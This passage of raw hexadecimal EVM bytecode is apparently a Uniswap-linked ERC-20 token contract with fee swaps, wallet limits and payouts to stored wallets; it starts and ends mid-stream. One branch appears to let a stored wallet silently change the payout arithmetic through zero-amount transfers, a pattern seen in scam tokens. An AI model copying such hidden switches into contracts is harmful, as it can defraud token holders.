815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620006d462000af360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000620007b562000af360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000907600f54620008f8600e54600d5462000b1c60201b90919060201c565b62000b1c60201b90919060201c565b6014819055506200093c6012546200092d60115460105462000b1c60201b90919060201c565b62000b1c60201b90919060201c565b601581905550601654600660006200095962000aeb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620009a762000aeb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60165460405162000a08919062001185565b60405180910390a362001401565b600080830362000a2a576000905062000a93565b6000828462000a3a919062001129565b905082848262000a4b9190620011d1565b1462000a8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a859062001290565b60405180910390fd5b809150505b92915050565b600062000ae383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000b7f60201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000b2d9190620012b2565b90508381101562000b75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b6c906200133d565b60405180910390fd5b8091505092915050565b6000808311829062000bc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000bc09190620013dd565b60405180910390fd5b506000838562000bda9190620011d1565b9050809150509392505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c6957607f821691505b60208210810362000c7f5762000c7e62000c21565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000ce97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000caa565b62000cf5868362000caa565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d4262000d3c62000d368462000d0d565b62000d17565b62000d0d565b9050919050565b6000819050919050565b62000d5e8362000d21565b62000d7662000d6d8262000d49565b84845462000cb7565b825550505050565b600090565b62000d8d62000d7e565b62000d9a81848462000d53565b505050565b5b8181101562000dc25762000db660008262000d83565b60018101905062000da0565b5050565b601f82111562000e115762000ddb8162000c85565b62000de68462000c9a565b8101602085101562000df6578190505b62000e0e62000e058562000c9a565b83018262000d9f565b50505b505050565b600082821c905092915050565b600062000e366000198460080262000e16565b1980831691505092915050565b600062000e51838362000e23565b9150826002028217905092915050565b62000e6c8262000be7565b67ffffffffffffffff81111562000e885762000e8762000bf2565b5b62000e94825462000c50565b62000ea182828562000dc6565b600060209050601f83116001811462000ed9576000841562000ec4578287015190505b62000ed0858262000e43565b86555062000f40565b601f19841662000ee98662000c85565b60005b8281101562000f135784890151825560018201915060208501945060208101905062000eec565b8683101562000f33578489015162000f2f601f89168262000e23565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000fd65780860481111562000fae5762000fad62000f48565b5b600185161562000fbe5780820291505b808102905062000fce8562000f77565b945062000f8e565b94509492505050565b60008262000ff15760019050620010c4565b81620010015760009050620010c4565b81600181146200101a576002811462001025576200105b565b6001915050620010c4565b60ff8411156200103a576200103962000f48565b5b8360020a91508482111562001054576200105362000f48565b5b50620010c4565b5060208310610133831016604e8410600b8410161715620010955782820a9050838111156200108f576200108e62000f48565b5b620010c4565b620010a4848484600162000f84565b92509050818404811115620010be57620010bd62000f48565b5b81810290505b9392505050565b600060ff82169050919050565b6000620010e58262000d0d565b9150620010f283620010cb565b9250620011217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000fdf565b905092915050565b6000620011368262000d0d565b9150620011438362000d0d565b9250828202620011538162000d0d565b915082820484148315176200116d576200116c62000f48565b5b5092915050565b6200117f8162000d0d565b82525050565b60006020820190506200119c600083018462001174565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620011de8262000d0d565b9150620011eb8362000d0d565b925082620011fe57620011fd620011a2565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006200127860218362001209565b915062001285826200121a565b604082019050919050565b60006020820190508181036000830152620012ab8162001269565b9050919050565b6000620012bf8262000d0d565b9150620012cc8362000d0d565b9250828201905080821115620012e757620012e662000f48565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001325601b8362001209565b91506200133282620012ed565b602082019050919050565b60006020820190508181036000830152620013588162001316565b9050919050565b60005b838110156200137f57808201518184015260208101905062001362565b60008484015250505050565b6000601f19601f8301169050919050565b6000620013a98262000be7565b620013b5818562001209565b9350620013c78185602086016200135f565b620013d2816200138b565b840191505092915050565b60006020820190508181036000830152620013f981846200139c565b905092915050565b60805160a05161425f6200143560003960008181610c940152610cec015260008181610b420152610cc0015261425f6000f3fe6080604052600436106102815760003560e01c8063852614851161014f578063c5d24189116100c1578063dd62ed3e1161007a578063dd62ed3e1461098a578063f0cd1dac146109c7578063f2fde38b146109f2578063f680f79914610a1b578063f872858a14610a46578063fb45af2314610a7157610288565b8063c5d24189146108bd578063c8607952146108e8578063c9567bf914610913578063d6bbdadb1461092a578063da00097d14610934578063dc44b6a01461095f57610288565b806398e944c81161011357806398e944c814610797578063a457c2d7146107c2578063a61432b5146107ff578063a7251ef61461082a578063a8b0898214610855578063a9059cbb1461088057610288565b806385261485146106ae57806388790a68146106d95780638b42507f146107045780638da5cb5b1461074157806395d89b411461076c57610288565b80633ecad271116101f35780636c0a24eb116101ac5780636c0a24eb146105c257806370a08231146105ed578063715018a61461062a578063751039fc146106415780637d1db4a51461065857806382eefb431461068357610288565b80633ecad2711461049c5780634a74bb02146104d95780634ada218b146105045780634fbee1931461052f5780635194f9bf1461056c5780635c7e0fee1461059757610288565b806323555d571161024557806323555d571461037657806323b872dd146103a157806327c8f835146103de5780632b112e4914610409578063313ce56714610434578063395093511461045f57610288565b806306fdde031461028d5780630930907b146102b8578063095ea7b3146102e35780631694505e1461032057806318160ddd1461034b57610288565b3661028857005b600080fd5b34801561029957600080fd5b506102a2610aae565b6040516102af9190613428565b60405180910390f35b3480156102c457600080fd5b506102cd610b40565b6040516102da919061348b565b60405180910390f35b3480156102ef57600080fd5b5061030a6004803603810190610305919061350d565b610b64565b6040516103179190613568565b60405180910390f35b34801561032c57600080fd5b50610335610b82565b60405161034291906135e2565b60405180910390f35b34801561035757600080fd5b50610360610ba8565b60405161036d919061360c565b60405180910390f35b34801561038257600080fd5b5061038b610bb2565b604051610398919061360c565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190613627565b610bb8565b6040516103d59190613568565b60405180910390f35b3480156103ea57600080fd5b506103f3610c92565b604051610400919061348b565b60405180910390f35b34801561041557600080fd5b5061041e610cb6565b60405161042b919061360c565b60405180910390f35b34801561044057600080fd5b50610449610d34565b6040516104569190613696565b60405180910390f35b34801561046b57600080fd5b506104866004803603810190610481919061350d565b610d4b565b6040516104939190613568565b60405180910390f35b3480156104a857600080fd5b506104c360048036038101906104be91906136b1565b610dfe565b6040516104d09190613568565b60405180910390f35b3480156104e557600080fd5b506104ee610e1e565b6040516104fb9190613568565b60405180910390f35b34801561051057600080fd5b50610519610e31565b6040516105269190613568565b60405180910390f35b34801561053b57600080fd5b50610556600480360381019061055191906136b1565b610e44565b6040516105639190613568565b60405180910390f35b34801561057857600080fd5b50610581610e64565b60405161058e919061360c565b60405180910390f35b3480156105a357600080fd5b506105ac610e6a565b6040516105b991906136ff565b60405180910390f35b3480156105ce57600080fd5b506105d7610e90565b6040516105e4919061360c565b60405180910390f35b3480156105f957600080fd5b50610614600480360381019061060f91906136b1565b610e96565b604051610621919061360c565b60405180910390f35b34801561063657600080fd5b5061063f610edf565b005b34801561064d57600080fd5b50610656611034565b005b34801561066457600080fd5b5061066d6110dd565b60405161067a919061360c565b60405180910390f35b34801561068f57600080fd5b506106986110e3565b6040516106a5919061360c565b60405180910390f35b3480156106ba57600080fd5b506106c36110e9565b6040516106d09190613568565b60405180910390f35b3480156106e557600080fd5b506106ee6110fc565b6040516106fb919061360c565b60405180910390f35b34801561071057600080fd5b5061072b600480360381019061072691906136b1565b611102565b6040516107389190613568565b60405180910390f35b34801561074d57600080fd5b50610756611122565b604051610763919061348b565b60405180910390f35b34801561077857600080fd5b5061078161114b565b60405161078e9190613428565b60405180910390f35b3480156107a357600080fd5b506107ac6111dd565b6040516107b9919061348b565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e4919061350d565b611203565b6040516107f69190613568565b60405180910390f35b34801561080b57600080fd5b506108146112d0565b60405161082191906136ff565b60405180910390f35b34801561083657600080fd5b5061083f6112f6565b60405161084c919061360c565b60405180910390f35b34801561086157600080fd5b5061086a6112fc565b604051610877919061348b565b60405180910390f35b34801561088c57600080fd5b506108a760048036038101906108a2919061350d565b611322565b6040516108b49190613568565b60405180910390f35b3480156108c957600080fd5b506108d2611341565b6040516108df919061360c565b60405180910390f35b3480156108f457600080fd5b506108fd611347565b60405161090a919061360c565b60405180910390f35b34801561091f57600080fd5b5061092861134d565b005b6109326113ff565b005b34801561094057600080fd5b50610949611994565b6040516109569190613568565b60405180910390f35b34801561096b57600080fd5b506109746119a7565b604051610981919061360c565b60405180910390f35b34801561099657600080fd5b506109b160048036038101906109ac919061371a565b6119ad565b6040516109be919061360c565b60405180910390f35b3480156109d357600080fd5b506109dc611a34565b6040516109e9919061360c565b60405180910390f35b3480156109fe57600080fd5b50610a196004803603810190610a1491906136b1565b611a3a565b005b348015610a2757600080fd5b50610a30611bfb565b604051610a3d919061360c565b60405180910390f35b348015610a5257600080fd5b50610a5b611c01565b604051610a689190613568565b60405180910390f35b348015610a7d57600080fd5b50610a986004803603810190610a9391906136b1565b611c14565b604051610aa59190613568565b60405180910390f35b606060018054610abd90613789565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990613789565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610b78610b71611c34565b8484611c3c565b6001905092915050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601654905090565b600f5481565b6000610bc5848484611e05565b50610c8784610bd2611c34565b610c82856040518060600160405280602881526020016141dd60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c38611c34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d79092919063ffffffff16565b611c3c565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610d2f610ce47f0000000000000000000000000000000000000000000000000000000000000000610e96565b610d21610d107f0000000000000000000000000000000000000000000000000000000000000000610e96565b60165461263b90919063ffffffff16565b61263b90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6000610df4610d58611c34565b84610def8560076000610d69611c34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268590919063ffffffff16565b611c3c565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b600860009054906101000a900460ff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b60125481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ee7611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b90613806565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61103c611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c090613806565b60405180910390fd5b601654601881905550601654601981905550565b60185481565b60155481565b601b60189054906101000a900460ff1681565b60105481565b600c6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461115a90613789565b80601f016020809104026020016040519081016040528092919081815260200182805461118690613789565b80156111d35780601f106111a8576101008083540402835291602001916111d3565b820191906000526020600020905b8154815290600101906020018083116111b657829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006112c6611210611c34565b846112c185604051806060016040528060258152602001614205602591396007600061123a611c34565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d79092919063ffffffff16565b611c3c565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061133661132f611c34565b8484611e05565b506001905092915050565b600e5481565b60115481565b611355611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d990613806565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b611407611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611494576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148b90613806565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151c919061383b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a7919061383b565b6040518363ffffffff1660e01b81526004016115c4929190613868565b6020604051808303816000875af11580156115e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611607919061383b565b601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061192530610e96565b60008033426040518863ffffffff1660e01b815260040161194b969594939291906138cc565b60606040518083038185885af1158015611969573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061198e9190613942565b50505050565b601b60169054906101000a900460ff1681565b600d5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60145481565b611a42611c34565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac690613806565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3590613a07565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b601b60179054906101000a900460ff1681565b600b6020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca290613a99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1190613b2b565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611df8919061360c565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611e75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6c90613bbd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edb90613c4f565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f885750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fdd57600860009054906101000a900460ff16611fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd390613cbb565b60405180910390fd5b5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061207e5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120ac576120a584848461209388886126e3565b61209d57856120a0565b60005b612809565b90506125d0565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121505750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121685750601b60189054906101000a900460ff165b156121b3576018548211156121b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a990613d4d565b60405180910390fd5b5b60006121be30610e96565b9050600060175482101590508080156121e45750601b60149054906101000a900460ff16155b801561223a5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122525750601b60159054906101000a900460ff165b1561227c57601b60169054906101000a900460ff16156122725760175491505b61227b826129ef565b5b612305846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d79092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123eb5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6123ff576123fa878787612cce565b612401565b845b9050601b60179054906101000a900460ff1680156124695750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124ce5760195461248c8261247e89610e96565b61268590919063ffffffff16565b11156124cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c490613ddf565b60405180910390fd5b5b61252081600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268590919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125c0919061360c565b60405180910390a3600193505050505b9392505050565b600083831115829061261f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126169190613428565b60405180910390fd5b506000838561262e9190613e2e565b9050809150509392505050565b600061267d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125d7565b905092915050565b60008082846126949190613e62565b9050838110156126d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d090613ee2565b60405180910390fd5b8091505092915050565b6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561278f5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156127c85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156128015750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b6000612894826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d79092919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061292983600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268590919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000820361297e576103e86013819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129db919061360c565b60405180910390a360019050949350505050565b6001601b60146101000a81548160ff0219169083151502179055506000612a2360155460145461268590919063ffffffff16565b90506000612a3e601054600d5461268590919063ffffffff16565b90506000612a59601154600e5461268590919063ffffffff16565b90506000612a956002612a8786612a79878a612ef590919063ffffffff16565b612f6f90919063ffffffff16565b612f6f90919063ffffffff16565b90506000612aac828761263b90919063ffffffff16565b90506000479050612abc82612fb9565b6000612ad1824761263b90919063ffffffff16565b90506000612afb612aec600289612f6f90919063ffffffff16565b8961263b90919063ffffffff16565b90506000612b376002612b2984612b1b8c88612ef590919063ffffffff16565b612f6f90919063ffffffff16565b612f6f90919063ffffffff16565b90506000612b7483612b66612b576013548c612ef590919063ffffffff16565b87612ef590919063ffffffff16565b612f6f90919063ffffffff16565b90506000612b9d82612b8f858861263b90919063ffffffff16565b61263b90919063ffffffff16565b90506000821115612c1257600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612c10573d6000803e3d6000fd5b505b6000811115612c8557600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c83573d6000803e3d6000fd5b505b600083118015612c955750600088115b15612ca557612ca48884613235565b5b50505050505050505050506000601b60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612d5657612d4f6064612d4160145486612ef590919063ffffffff16565b612f6f90919063ffffffff16565b9050612dd4565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612dd357612dd06064612dc260155486612ef590919063ffffffff16565b612f6f90919063ffffffff16565b90505b5b6000811115612ed857612e2f81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268590919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ecf919061360c565b60405180910390a35b612eeb818461263b90919063ffffffff16565b9150509392505050565b6000808303612f075760009050612f69565b60008284612f159190613f02565b9050828482612f249190613f73565b14612f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f5b90614016565b60405180910390fd5b809150505b92915050565b6000612fb183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613335565b905092915050565b6000600267ffffffffffffffff811115612fd657612fd5614036565b5b6040519080825280602002602001820160405280156130045781602001602082028036833780820191505090505b509050308160008151811061301c5761301b614065565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156130c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130e7919061383b565b816001815181106130fb576130fa614065565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061316230601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c3c565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016131c6959493929190614152565b600060405180830381600087803b1580156131e057600080fd5b505af11580156131f4573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516132299291906141ac565b60405180910390a15050565b61326230601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c3c565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff